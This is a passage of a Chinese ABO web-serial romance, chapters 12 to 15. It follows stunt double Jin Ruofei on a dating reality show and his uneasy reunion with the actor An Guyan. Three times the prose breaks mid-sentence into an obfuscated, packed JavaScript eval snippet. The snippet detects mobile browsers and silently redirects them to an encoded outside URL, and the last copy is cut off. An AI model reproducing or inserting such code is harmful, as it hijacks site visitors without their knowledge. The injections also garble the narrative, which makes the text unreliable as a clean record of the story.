口红?靳若飞顿时不自在地抿了抿唇。 半个钟后,妆发终于妥当。他在沙发上坐好,一身黑衣黑裤,衬得五颜六色的石膏手臂分外惹眼。负责采访的工作人员显然很是老练了,当即换了个开场的问题,从石膏上的图案切入采访:“你手上的这些花和小动物,是谁画的?” 没有准备这个问题的答案,靳若飞很明显地愣了一下,微瞪的吊梢眼有些无措:“……是我儿子。他说我受伤了不好出去玩,周末就在家陪我,用蜡笔画了这些。” “看来他是个很细腻的孩子。” “……对。”脸上不由露出笑意,靳若飞的视线短暂地游离了一瞬,笑容中好似又有一丝心疼:“他很乖巧、很会关心人,但相应的,性格也有些敏感。” “这次你去录制节目,他有担心吗?” 终于问到预定的问题,靳若飞松一口气,回答变得流利了一些:“有啊。他说我的胳膊还没好,怕我拍摄时会碰到手——因为我以前拍戏总是磕磕碰碰的,身上经常会有伤,他就以为我这次上节目也会同样危险。” “那你有跟他解释我们这个节目的内容吗?” “解释了一下,他好像有点儿一知半解。”靳若飞不好意思地笑笑,那双桀骜的吊梢眼这么一弯,配上回避的眼神,居然显露出几分生涩的羞怯:“后来我让他跟我一起看了半个钟,他突然恍然大悟,说这是个相亲的节目。” 一句话惹得周围的人都轻笑起来,主持人也笑,显然对这个回答十分满意。她继续问:“他有期待你找到一个什么样的恋人吗?” “有。”躲闪的神色变得郑重了些,靳若飞望着面前的话筒,停顿一秒,道:“他说,希望我找一个厉害的、高大的、能照顾我的人,还要能赚钱。这样我就不用天天继续工作,可以多点儿时间陪他了。” “那你自己是什么想法呢?你有没有期待着上这个节目,能遇到让自己怦然心动的人?” “我的想法……”靳若飞扯扯唇,露出一个走神的微笑:“看运气吧。毕竟感情是个很玄妙的东西,不是我想就能得到的。即使我足够好运,碰到自己喜欢的,对方也不一定对我有感觉。两情相悦其实是一件很奢侈的事情。” 他说得极为平静,平静到近乎无欲无求。那双眼睛仿佛看破了一切,对这次出行、或者说对未来,都不抱任何希望——“就这样吧。”他心里好像在这么说。 . 在拍完先导片、出发去星屿岛之前的这段时间内,邢再洺那边没有任何动静,倒是宋清许打来电话,表达了对他工作的支持: “你放心去吧!我听说那种节目都要收手机,两个星期与世隔绝……你照顾好自己就行,潇潇这边有我帮照顾着。我和你妈妈说了,别不好意思,有事就给我打电话,你不用担心!” “……谢谢阿姨。”靳若飞是真心实意地感激她,毕竟自己这一走,家里就剩一老一小。妈妈遇事又容易六神无主,万一出了什么意外,她肯定应付不来的。有宋阿姨关照,他录节目时就安心多了。 又过了几日,在星期六的早上八点,节目组的保姆车就开到公寓大楼下,准备接他去星屿岛了。靳若飞第一次上综艺,没什么经验,就随意收拾了几套简单的换洗衣物、日用品,带上一瓶治疗扭伤的药膏出发了。 潇潇和秦丽君去楼下送他,依依不舍的,好像很是担忧。靳若飞提着小行李箱上车坐定,扭头冲他们挥挥手,宽慰道:“回去吧!两星期而已,很快就结束了。到时候说不定我还能讨几个签名合照回来呢。” “那,爸爸你小心手啊,不要再碰坏了……”潇潇忧心忡忡地看着他,脚下不自觉地跟着车子慢慢往前走,活像一只被抛弃的小狗。工作人员也扒在窗口,看着这个漂亮的、贴心的孩子,忍不住叹息:“哎……怎么你俩不去上《成长日记》呢?潇潇肯定能吸很多妈妈粉的。” 看着儿子的身影越来越远,直到变成了一个小点,靳若飞才失落地坐正来,恍惚道:“我们跟《成长日记》……有缘无分,所以我只能壮壮胆,来上《怦然心动》了。” “哈哈哈哈,飞哥,你害怕呀?”对方被他逗得笑了起来。 “……怎么不害怕?我没上过综艺,也很少跟那些明星接触。现在突然要跟他们朝夕相处,我心里是真的有点儿压力。” “是吗?”对方好像不相信,不过也没有寻根究底,转而道:“目前节目上的八位嘉宾,你都知道是谁吧?” “知道啊,我看过他们的作品。”那几人都是小有名气的演员,有一两个甚至出演过大爆剧,只不过近两年略有消沉而已。靳若飞怕自己跟他们没有话题,这几天狠狠恶补了一番每个人的知名作品,差点儿把黑眼圈给熬了出来。 “那就好。”说着,工作人员递给他一本小册子,上面写着每个人的喜好与禁忌,并叮嘱道:“咱们这个节目,剧本确实是有——但一般要在嘉宾们有过初步接触后,编剧组才会针对有火花的cp写一些情节。这方面的话,beta嘉宾的火花一般不多,所以你不用太担心,只要专心地打酱油就好。毕竟,节目组请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197842|165678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你来的目的并不全是为了恋爱——你应该懂的吧?” 靳若飞当然清楚,自己只是一个噱头,他们的真正目的是想通过自己看邢再洺的热闹,仅此而已。 用石膏手摁住小册子,右手翻开第一页,靳若飞没有答话,默默地为一小时后的登岛做准备。 . 星屿岛距离码头有些远,坐船需要四十分钟才能到达。炎夏时节,阳光十分刺眼,晒着草坪热烘烘的,空气里都是植物的青味。靳若飞提着小行李箱踏上木制码头,不远处的海崖巨石嶙峋,散乱地堆在海水中,看上去有点儿像偶像剧的拍摄场景。 一辆明黄色的观光车等在不远处,准备载他们去拍摄地点。车子开动之后,空气终于流动起来,带来一点儿难得的凉爽。 工作人员一边扇风一边给靳若飞介绍:“你看远处——坡上那座白色的别墅就是拍摄地点。待会儿车子会停在距离别墅一百米的地方,然后你步行过去。经过一个木制紫藤花架后,节目就开始录制了,你如果要整理仪容的话,记得在花架之前,知道吗?” 说着,对方回头望他,不禁被吓了一跳:“嚯!你怎么不出汗的?” “啊?”靳若飞茫然地与他对视一眼,用手背擦擦脸,解释道:“我的脸不怎么出汗,汗都在后背。” “这样啊……” 说话间,车子已经到达停车点。工作人员陪他下了车,先用对讲机跟别墅那边确认了时间节点,又回过头再跟他叮嘱一遍:“现在OK了吗?头发要不要抓一抓,唇膏要涂吗?我见你唇色有点儿浅。” “OK的,其他的不要紧。”靳若飞紧绷绷地站在他面前,一张白皙的脸没有血色,在明晃晃的太阳下显得更加苍白。见状,工作人员还是没忍住,叫化妆师来给他抹了点儿液体腮红:“白得跟鬼似的,气色太差了也……擦一擦,擦一擦!好了,这下顺眼多了,出发吧!” 后背被轻轻一拍,靳若飞顺着他的力道走出去,紧张得几乎同手同脚。拖着行李箱走在炎热的太阳光下,他几乎感觉不到炎热,两眼直勾勾的,心里只有远处那间白色的露天餐厅,以及餐厅中正用餐的八个人。 不要紧张,不要紧张……靳若飞在心里反复给自己打气。现在是录节目,即使有人讨厌你,也不会这么快就表现出来,你不用害怕。退一万步说,就算有人挑衅,你只要忍就好了……入行六年,你不是最会忍了么?当个缩头乌龟,这样就万事大吉了。 屏着呼吸走过绿油油的紫藤树丛,他看见了不远处扛着摄像机的工作人员,还有餐厅里不断朝自己张望的几名嘉宾。意识到自己已经入镜了,靳若飞想要笑一笑,然而嘴角僵硬地拉扯一下,却更像无奈的撇嘴,难看得要命。 这时,嘉宾中有人朝自己招了招手——是alpha男演员贺安东。见状,靳若飞赶忙也挥挥手,不由自主地加快了脚步。 走近之后,嘉宾们陆续跟他打招呼:“嗨,你好~” “你们好!”靳若飞终于扯出了一个笑容,生涩地道,“我是靳若飞,替身演员。” “我知道你!”有人这样表示。靳若飞定睛一望,见是新晋的omega小花于一帆。她笑盈盈地弯着一双新月眼,似乎很友好,但这种表情靳若飞见得多了——对自己这种小人物来说,上位者过于熟稔的笑容,往往意味着不怀好意。他看得分明,但也只能装傻充愣:“这样吗?那真是我的荣幸。” “来来,过来坐!”这时,人群中另一名beta黄希文拍拍空座,邀请他过去,“行李先放一边,吃点儿东西!待会儿还有另一名嘉宾过来,我们都在猜是谁呢。” “你有看见那个嘉宾吗?”于一帆又问。 “没有,节目组保密得很严实。”诚恳地摇摇头,靳若飞正好饿了,便不打算矜持,夹了一截红烧排骨放进嘴里。 众人不禁又讨论起来,说着“也太神秘了吧!”不满地七嘴八舌。突然,眼睛最尖的贺安东又挥起了手:“哎,我看见了!……很高,有点儿眼熟!” 九双眼睛顿时迫不及待地望过去,靳若飞一边咀嚼一边好奇地张望,5.2的良好视力令他很快就看清了对方的脸:柳叶长眉、桃花眼、散漫慵懒的神情,以及高挑的身材……是圈内颇负盛名的文艺片alpha男星,安固言。 想起自己跟这个人的某些交集,靳若飞一声咳嗽,差点儿把嘴里的排骨喷了出来。 13. 你怎么不理我呢? 安固言是国内大导肖小彬的御用alpha男星,他擅长演爱情文艺片——靳若飞就是跟他在某个文艺片的拍摄里认识的。 说是文艺片,却有特别多莫名其妙的追逐戏,有两个地方甚至还出现了“郑金鹏”式的徒手爬楼戏。作为安固言的动作替身,靳若飞拍这个戏拍得很累——因为导演肖小彬的要求和标准特别“玄妙”,没有具体的条款,只有亘久不变的一个词,“感觉”。 “感觉不大对”,“感觉差一点儿”,“感觉有点儿过了”,这都是他的常用句式。有一次,靳若飞把一个跨越街边护栏、穿过街道飞奔五十米的戏演了足足二十六遍,却仍达不到肖导的要求。到了最后,肖导也不为难他了,叹气道:“哎,算了……我自己找一条能用的吧。” 差点儿把靳若飞给弄抑郁了。 晚上放饭,他抱着盒饭坐得远远的,一边吃一边反思自己今天的表现。这时,安固言拿着盒饭也坐了过来,弯着一双桃花眼安慰他:“你别气馁,肖导这个人就是这样,影帝邱添昊也被他折磨过呢。昊哥说,拍摄《休眠火山》的时候,肖导把他的自信打击得丁点儿不剩,差点儿就想退出演艺圈——怎么样,是不是感觉有点儿安慰?” 没料到这个主演如此平易近人,靳若飞惊讶地看着他,随即点点头,笨拙地笑笑:“嗯,谢谢安哥,我不会放在心上的。” 安固言那双慵懒的桃花眼懒洋洋地眯起来,伸手搓了搓他的头发:“对嘛,多笑笑,你笑起来好看,以后别苦大仇深的了。” 从那之后,安固言便经常跟他搭话。这人是个爱开玩笑的性子,总是用各种各样的方式逗他:“小飞,你知道吗,我偷偷把我家宠物蛇带出来了……你看!” 靳若飞信以为真,惊讶地期待着。结果这家伙神秘兮兮地打开手掌,里头却躺着一条小小的橡胶蛇。 又或者故意把水杯放在桌子边缘,等他从边上经过,就伸手把水杯戳掉,再栽赃到他身上:“你看看你,毛毛躁躁的,搞得我饮料都洒啦!去,帮我买两杯咖啡,回来我报销。” 靳若飞只得跑到街对面去给他买。等买回来,安固言加上他微信,把钱转过去,就一边笑一边拿出其中一杯递给他:“轻而易举,小飞的微信手到擒来~” ……常常把靳若飞戏弄得无可奈何,但心里又不至于反感。等戏份拍到一半,两人已经颇为熟悉,甚至时不时结伴去酒吧喝酒。后来安固言得知靳若飞有个儿子,这个慵懒的Alpha好奇极了,总忍不住挖掘他的恋爱故事——现在回想,这人好像就是从那时候开始对他产生身体上的兴趣的。 如今俩人已经大半年未见,靳若飞坐在餐桌角落,不自然地埋着头,听着安固言在一旁娴熟地与其他人打招呼,整个人紧张到了极点。 不过安固言好像没有要与他相认的意思——落座之后,这个半长卷发的Alpha男星直接与一名叫白姿君的星二代Omega女演员攀谈了起来。俩人似乎是朋友,对话之间十足熟稔,看来相识多年了。 这两人是嘉宾中咖位最大的明星,其他人自然是趋之若鹜,殷切地围绕着他们聊起天来:“真是稀客啊,安哥!你一个文艺片演员,怎么有空下凡来参加这个节目?” 安固言促狭地笑笑,挤眼睛道:“……因为我想谈恋爱了呀!” 众人一齐哄笑,默契地相互对视一眼——其实消息灵通的人都知道,安固言前阵子主演的第一部都市爱情剧杀青了,最近正要播出。他这次来,大概率是给新剧做宣传的。 见他们七嘴八舌地聊天,没有注意自己的意思。靳若飞坐在角落里默默地松一口气,饥肠辘辘地又吃了几块排骨。 . 靳若飞在星屿岛打酱油的时候,邢再洺正在导演林江的别墅花园里,心不在焉地跟一群娱乐圈大佬们喝酒、吃下午茶,庆祝林导的50岁生日。 这位曾数次斩获各类电影节最佳导演的Alpha男人身材矮小,长得其貌不扬,性格却分外豁达。今日邢再洺带着礼物前来贺寿,他张开双臂笑着拥抱一下,又用拿着酒杯的手揶揄地推一推邢再洺的胸口,低声道: “我听心梧说,你嫌弃她结婚了,不跟她好,是不是?……怎么这么一板一眼呢,我跟她是开放式关系,就打了张证而已,你这么计较!” 邢再洺皮笑肉不笑地扯扯唇:“林导,前阵子关于我的新闻,相信你也看到了。我现在是真的没心情,也没兴趣——这事儿讲究两厢情愿,对不对?我不愿意,她完全可以去找别人嘛,斤斤计较就没意思了。” “哈哈哈,干嘛这么严肃呀!”林导笑着拍拍他,打哈哈道:“说笑而已嘛,别放在心上。来来来,去跟他们喝酒~”揽着人朝花园走去。 花园里人群熙攘,已经聚集了不少明星。邢再洺在新闻曝光后第一次出席业内人士的聚会,立刻得到了大家伙儿的“关心”: “洺仔!哈哈哈哈哈哈!”演艺圈常青树邱添昊今年五十二岁,确实可以叫他一声洺仔:“怎么不带你家鹅子来露个面啊?” 这些人看热闹不嫌事大的,邢再洺不想说话,表情抗拒:“昊哥,别拿我开玩笑了好吗?” “哈哈哈哈哈哈!”大家一齐大笑,揶揄道:“没开玩笑呀!你家儿子长得那么帅,说不定还能继承你的衣钵,以后也拿个影帝呢!你应该趁着这次聚会把他带来,给我们引荐引荐,也是为他未来的发展铺路嘛。” 被闹得心烦,邢再洺瞥见陆庭风坐在不远处的阳伞下,便寻了个借口作别这群人,走到老板身旁透透气:“……小陆总怎么不去社交?” 陆庭风意味不明地笑着睨他:“去社交干嘛,像你一样,被他们开玩笑吗?” 邢再洺忍不住气闷地瞪了他一眼。 止住笑意,陆庭风喝一口酒,换了个舒服的坐姿面向他,老神在在道:“我没想到,你真把靳若飞的亲子综艺给搅黄了——谢春谅还打电话骂我呢,说我坏她好事。” 邢再洺板着脸不搭话。 陆庭风又道:“不过,你怎么放他去上恋爱综艺了呢?说实话,那些人就是打着消费你名气的目的,才邀请靳若飞的。你应该把他这条路也堵了才对。” “为什么要堵?”轻哼一声,邢再洺放下酒杯,冷眼望着花园里觥筹交错的人群:“就让他去啊!最好在节目上找到下一个目标,别再来捆绑我,那我这次‘劫’就算渡过了。” 劫?陆庭风好笑:“哪里渡得过?你是不是忘了,你跟他之间还有个孩子。而且我听汶姐说,你妈妈好像挺喜欢那小孩儿的?” 想到此时此刻已经被妈妈接到家里培养感情的靳宇潇,邢再洺终于拧起眉,心累地闭上了眼。 见状,陆庭风又笑一声:“洺哥,我劝你啊,还是不要挣扎了。既然孩子摆脱不了,就跟人家好好地培养培养感情。毕竟世事无常,别看你现在视他为烫手山芋,等过了十年、十五年,也许你会庆幸他出现在你的生命中呢?” 会吗?邢再洺面露鄙夷,不屑地“嗤”了一声。 . 此时远在星屿岛的靳若飞不知道自己又被编排了一顿。他提着行李箱走到别墅二楼,正在自己的房间里收拾东西呢。 吃过饭,大家陆续回到了别墅里,准备睡午觉——这些嘉宾只在靳若飞出场时短暂地欢迎了他一下,接下来的时间完全当他是空气,一窝蜂地都围在安固言身边。最后只有Beta女演员黄希文来跟他寒暄,友善地道:“你只带了这么点儿衣服呀?怎么不多带几套,这样造型也多变一些。” 靳若飞生涩地笑笑:“我衣服本来也不多,又没经验,所以随便抓几套衣服就出门了。造型什么的……随缘吧。” 他一边单手收拾衣服,一边注意到房间的两个顶角都安装了摄像机。第一次处在这样“被监视”的环境中,靳若飞只觉浑身别扭,连动作都不自在起来。 黄希文看得发笑,宽慰道:“放心,这个摄像头晚上10点就会关闭,早上7点才打开。你把它当摆设就好了,很快就会习惯的。” “……这样啊。”笨拙地叹口气,靳若飞蹲在床边,已然感觉到了疲惫。 午觉一睡就是三个钟头。头天晚上他没睡好,现在躺到床上,纠结地看看这个摄像机、又看看那个摄像机,居然不知不觉就睡了过去!等醒来时,窗外的太阳光橙黄橙黄的,已显示出疲态——已经是下午五点半了。 靳若飞心里一惊,赶忙坐了起来。 冲到楼下,其他九位嘉宾早就起床了。有五个坐在客厅,两个在花园里,另外二个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197843|165678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则挤在厨房里。今晚是Omega于一帆和Alpha蔺梦澄做饭,她们俩在开放式厨房的案台前笨拙地忙碌着,一个煮饭,一个切肉,把案台搞得一片狼藉。 不想挤到客厅里参与社交,靳若飞果断选择了去厨房帮助于一帆他们:“有什么事我可以帮忙的吗?” “你?”于一帆看一眼他吊在胸前的胳膊,脸上轻淡一笑,“不用了吧?之后节目要是播出了,我怕有人说我支使伤患呢。” 察觉到她对自己的不欢迎,靳若飞没说什么,转身准备离去。蔺梦澄倒是把他叫了回来:“你帮我剥花生吧!我准备炖个花生猪蹄汤。” “好!”有人解围,靳若飞心里放松些许,在冰箱旁找到花生,坐到厨房边缘的小桌那儿慢慢剥。 不远处的客厅中,四个人围着安固言,兴致勃勃地谈天说地——这让靳若飞感到很安心。毕竟他忙着跟别人社交,就不会与自己有交集了。 正庆幸着,突然间,安固言却站起身朝这边走了过来:“咱们一直顾着自己聊,把于一帆和蔺梦澄都忙坏了~”说着,他从靳若飞身旁擦过,站到于一帆身后,笑嘻嘻道:“帆帆,有什么需要帮忙的嘛?” 于一帆似乎很高兴,声音中的情绪突然变得十分饱满:“我都快做完啦,你才来说帮忙!我看你不是真心的吧?” “哎哟,被你看破了~” 他俩旁若无人地打情骂俏着,靳若飞悬起来的心又缓缓地落了下去,长吁一口气:还好不是冲自己来的…… . 一个小时后,晚饭终于做好了。 外行人做的饭菜不能细究,只要能入口就万事大吉——但是看着桌上这寒酸的五菜一汤,以及饭锅里几乎将锅盖顶开的一大煲白米饭,靳若飞还是一言难尽地抿了抿嘴角。 其他人也笑呢:“你俩这水平,以后世界末日该怎么活啊?” “都世界末日了,还要做饭啊?那我宁可不活了。”蔺梦澄避之不及地道。安固言被逗乐了,赞同地抬手跟她一击掌。大家伙儿有说有笑的,倒是没再嫌弃这难吃的饭菜。 靳若飞依旧是当个尽职尽责的打酱油角色,坐在角落食不知味的吃了一碗饭。 饭后是“怦然心动”节目的例行环节——每人要写一封信给自己倾心的人。这个要求无疑给靳若飞出了一个巨大的难题:天,他能写给谁啊?大家都对他避之不及,唯一表现出友善的黄希文想必也没有那种意思……如果自己写信给她,会不会惹得她反感呢? 这时,其他嘉宾已经领了信纸和信封,分散到各处写信去了。靳若飞趴在客厅的窗台上,纠结之时,他听见不远处的于一帆在对另一个omega男歌手赵显道:“安哥帅是帅,就是太雨露均沾了……哼,我才不要写给他。” 靳若飞恍然大悟地眨眨眼:看来于一帆对安固言很有好感。 斟酌良久,他还是将黄希文选为了自己的“告白”对象,写信感谢她今日的友善和体贴。写好之后,他在封面写上“黄希文”三字,随即交给工作人员,由他们一起蜡封、并悬挂到花园的木绣球树下。 半个钟后,一切准备完毕。十名嘉宾回到客厅,在节目组的安排下一个一个走出去,确认有没有写给自己的信。 作为新加入的成员,安固言和靳若飞享有优先确认权——安固言第一个走出去,片刻后,他拿回了三封信,面带微笑道:“这么少?我以为会有五封。” “切——”其他几个Alpha不约而同地大声嘘他,肆意表达自己的揶揄之情。 在他们吵闹时,靳若飞安安静静地走了出去。他心不在焉地来到被小夜灯点亮的木绣球树下,随意翻一翻剩下的七个信封。本以为这里面不会有自己的,但在翻到第六个信封时,他惊愕地发现了自己名字,“小飞~”,飘逸潇洒地写在封面上。 ……操。靳若飞突然感觉到一丝不妙。 心虚地瞥一眼自己身后扛着摄像机的大哥,他纠结良久,还是认命地抽出了信纸,轻轻打开。上面只写着两行字:“你怎么不理我呢?我一直在关注着你哦~” 没有署名,落款的地方只画了一杯咖啡,杯身上还细致地写了“TIMES”一词。 ……正是当年安固言哄骗自己去买的那一家咖啡。 14. 暧昧 躲躲藏藏地拿着信折返回来,于一帆见他右手背在身后,双眼难以置信地一亮,大叫出声:“哎,靳若飞收到信了!快给我们看看!” 大家都惊讶地瞪住他,连正准备走出去的贺安东都折了回来,起哄地跟于一帆一起催促他分享信的内容。 靳若飞恶补过几期节目,知道不需要公开自己收到的信;可这些人虎视眈眈的,借着玩笑越逼越近……更可恶的是,那个始作俑者一脸好整以暇地坐在沙发边上,笑得优哉游哉,完全没有帮他解围的意思! 靳若飞深吸一口气,干脆将信纸揉成一团,在众目睽睽之下塞进了嘴里。 “啊!”大家情真意切地发出遗憾的叹息,“你也太不给面子了!” 瞥一眼捂脸憋笑的安固言,靳若飞含糊地道:“……是你们逼我的。”随即不敢再停留,飞快地跑上楼梯,奔回了房间里。 客厅里又响起了整齐划一的嘘声:“切——” . 节目组应该不大喜欢自己这种嘉宾吧? 回到房间,靳若飞把纸团吐进垃圾桶里,草草漱了个口。他在犹豫要不要下楼去,但一打开门,门外的阵阵大笑声立即传了进来。 ——自己在场或者不在场,似乎没有什么分别。 干脆收拾衣服去洗澡,靳若飞折腾了好久才把受伤的手臂套好。洗头时只有单手可以操作,整个过程颇为艰难。这时他不禁庆幸自己头发比较短,如果是安固言那样的半长发,那就难办了。 洗漱完毕,靳若飞用浴巾包住湿头发,一边擦一边坐到飘窗前,看其他人在庭院中三三两两地聚集着,各自聊天。 安固言依旧是香饽饽,被三人围在中间,悠哉悠哉地靠在秋千上。他半长的头发蓬松微卷,掩住一部分眉眼,散漫的姿态活像一个乐队吉他手。 不明白他给自己写信是想干嘛,靳若飞悄悄地望着他,心里总有些忐忑。突然,安固言在秋千上抬起头,朝这边窗口望了过来。靳若飞一惊,赶忙躲到窗帘后——但是他不知道,屋里的灯光将他的身影完完整整地投射在了窗帘上,清晰无比。 安固言忍俊不禁地笑笑,收回了视线。 . 晚上十二点,也许是下午睡得太久,也许是傍晚吃得太少,总之靳若飞睡不着,饥肠辘辘地起床找东西吃。 所有嘉宾都回到房间晚睡了,可此时此刻,一楼的客厅却颇为热闹——工作人员们还没休息呢,在加班加点地编写接下来的剧本、剪辑白天的视频片段。 见他下楼,大家都不禁一愣,直到靳若飞无措地跟他们打招呼“你们好”,众人才陆续应答:“你好!”“你好!” “还在忙啊?”瞥一眼他们桌上的饼干和面包,靳若飞不禁心生同情:熬夜加班也没点儿顶饿的宵夜……打开冰箱,见里头放着半煲剩米饭,还有一些蔬菜,加点料能炒出五六碗蛋炒饭的样子。他便扭头问:“我做蛋炒饭,你们吃吗?” 几个工作人员面面相觑,眼神颇为震惊:“……你手受伤了,方便吗?” 靳若飞耸耸肩,短促地笑笑:“是有点不方便,所以需要你们帮我备一下料。” 众人惊喜不已,当即有两个小胖子站起身,自告奋勇:“我来我来!需要我们做什么?” 拿出冰箱里的胡萝卜、葱花和鸡蛋,靳若飞开始布置任务:“胡萝卜洗干净,刮皮切丁;葱花清洗后切碎段,八个鸡蛋打散。” 厨房里热火朝天地忙碌起来。不一会儿料备好了,靳若飞打燃灶火,在众人期盼的视线中烧锅倒油,将食材逐一炒熟,再混合均匀。出锅之前洒上巨量葱花,翻炒几下,一道香喷喷的什锦蛋炒饭这就完成了。 “好香呀!”大伙儿已经迫不及待了,一个个放下手中的活儿围过来,开始自给自足。靳若飞盛了一碗蛋炒饭坐到边上,刚吃了一口,就有个小姑娘捧着饭凑到他面前,小声道:“飞哥,这会儿摄像机都关了,你要不要把手机拿回去,给你家宝宝发个信息呀?” “嗯?”没想到炒个蛋炒饭还有这等回报,靳若飞自然是求之不得:“好啊!谢谢你。” “嘿嘿,没事!”小姑娘掏出手机递给他,靳若飞一边吃炒饭一边查阅信息,果然见潇潇给他发了好几条语音:“爸爸,我今天去宋奶奶家了。宋奶奶给了我一盆小花,我带回家去种了。” 照片里是一小盆绿油油的薄荷,边缘夹杂着几根香菜,应该是隔壁盆的种子不小心蹦进去的。靳若飞看得笑起来,回复他:“那你可要好好养哦,以后奶奶做菜就指望你这盆薄荷了。” 对面的小姑娘似乎一直在注意他的表情,见他笑了,便壮起胆子道:“飞哥,今天你收到的那个信……是安老师给你的吧?” 靳若飞吓了一跳,略显无措地抬起头看她,张口结舌。对方的笑容里露出一丝八卦,轻声问:“要不要给你们安排一些互动的戏份?” “啊?不不不不用了!”对这样的“照顾”避之不及,靳若飞哭笑不得,只恨左手不能抬起来一起拒绝。 小姑娘不甘心地还想再劝一劝,这时,楼梯上响起清浅的脚步声——omega女演员白姿君探头探脑地走了下来,惊讶道:“靳若飞?……你怎么不睡觉。” 下意识站起身,靳若飞答:“太饿了,出来找饭吃。正好大家都在,我就做了一锅炒饭。” “好香呀。”白姿君身上裹着一条披肩,整个人十分消瘦,身形佝偻着。她长相清丽,但脸上没有血色。傍晚吃饭时,靳若飞也没见她吃几口,此刻便邀请道:“正好多一碗炒饭,你来尝尝吗?” 下意识想要拒绝,但肚子确实饿了,白姿君犹豫几秒,认输地笑了笑:“你做得这么香,我不尝都不行了。” 走过来坐到他面前,消瘦的omega女生吃得极其斯文,白皙的手在胸前压着长发,皮肤下面的青色血管分外清晰。 看着她这副中气不足的模样,靳若飞犹豫地抿抿唇,欲言又止:圈内人几乎都知道,白姿君跟alpha恋人未婚生子之后惨遭抛弃,现在孩子好像刚一岁多,正是需要妈妈的时候。 但是她状态不好,整个人被产后抑郁消耗得奄奄一息,一面对孩子就忍不住歇斯底里。她的影后姑姑白心梧看不下去,十分果断地把她塞进了这档综艺里,应该是想让她散散心,转换一下状态。 只可收效甚微,白姿君依旧怏怏不乐的。今天贺安东一直在对她献殷勤,她也没有什么反应。 看见她,靳若飞就不禁回想起自己当年的情景:潇潇还小,在家里由妈妈照顾着。为了赚钱,他不得不拖着产后中气不足的身体努 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“……孩子不会因为父母某段时间不陪他,就不亲父母的。”靳若飞一边吃饭一边说着,语调十分平静:“相比时长,陪伴的质量更重要。孩子需要的是包容而稳定的父母,患得患失的情绪只会让他们变得敏感。” “那,”白姿君眼神里露出一丝茫然,“怎么样才能保证情绪稳定?” “在成为父母之前,我先是我自己。有时候人要学会自私一点……把自己照顾好了,才能更好地照顾孩子。”靳若飞说。 白姿君怔怔地坐在那儿,呆愣良久,才重新拿起勺子,继续吃蛋炒饭。她垂着头,半晌,靳若飞看见她闭上眼,难受地抿了抿嘴唇。 . 第二天早上7点不到,根深蒂固的生物钟就把靳若飞叫醒了。 高中时他就习惯了早起,一大早先去操场跑两圈,再练半个钟,才去食堂吃早点。上大学后,他的早练换成了开腿练拳,不论严寒酷暑,始终如一。 如今断了胳膊,他不得不将练拳从早练中剔除,只做一些拉伸开腿的运动。下楼来到花园里,海岛上的空气清新宜人,气温难得凉爽。花园四周架设的摄像机静静地对着他,也不知道有没有开始工作。 站在花坛边先压压腿、又活动一下膝盖和脚踝,靳若飞深吸一口气,随即轻轻松松地把左脚抬起、举过头顶,右手抓住脚踝,在花园正中央做了一个朝天一字马。动作轻盈而有力,宛如一只从容的白鹤。 “啪啪啪啪啪!”身后突然响起鼓掌声。靳若飞吓了一跳,放下腿转身望去——安固言不知什么时候起来了,这会儿穿着白色长袖t恤和水磨蓝牛仔裤,慵懒的眼眸半藏在刘海后面,正好整以暇地望着他。 15. 我选他 被他那双似笑非笑的桃花眼注视着,靳若飞深吸一口气,默默的有点儿紧张。他紧绷绷地注视着安固言,像一只豺注视着缓慢靠近的花豹,不敢吭声。 相比之下,安固言则放松许多。他姿态轻巧地走下台阶,来到靳若飞面前,微笑着道:“这么早就起来锻炼啦?” “啊……是。”不懂他葫芦里卖的什么药,靳若飞惜字如金,忐忑地等待他下一次出招。 果不其然,下一秒,安固言笑眯眯地放了个大招:“昨晚我给你写信,你怎么没有反应呢?” 一瞬间,靳若飞脸上露出了略有些崩溃的头疼表情。那无力的眼神好像是在哀求他:大哥,你别玩儿了行不行?别人不知道我俩的关系,你还不知道吗?……这是能在节目中暴露出来的吗? 但安固言好像铁了心要逼他与自己相认,故作委屈道:“昨天他们都跟我打了招呼,就你不理我——是不是我什么地方做错了,惹你不高兴了呀?你告诉我,我跟你道歉嘛。” 这下靳若飞是彻底承受不住了,赶忙哭笑不得地抬手打断这个戏精,妥协道:“安哥,我错了,我不该装作不认识你。今天的行程如果要去码头,我请你喝咖啡,好不好?就当给是你赔罪了。” 至此,安固言这才露出了满意的笑容:“原来小飞还记得我呀?我还以为,你现在出名了,就看不上老朋友了呢。” 靳若飞羞愧得头都不敢抬起来:“安哥,我没有这个意思。我这不是……咖位太小,不好意思认你嘛。” “有什么不好意思?”走到他身旁,安固言自己也伸伸胳膊、压压腿,“不好意思你还来上这个节目?……这可是谈恋爱的节目耶。” 靳若飞声音跟蚊哼似的:“那我也没想到你在这里啊……” 闻言,安固言脸上露出一个意味深长的笑容,自得地睨了他一眼:“你当然想不到了~” 听出他话中有话,靳若飞茫然地抬起头,面露不解。安固言却不说了,转而问:“你怎么会来参加这个节目呢?以前我跟你在剧组的时候,别人问你想不想给孩子找个妈妈,你不是都说不想的嘛?” 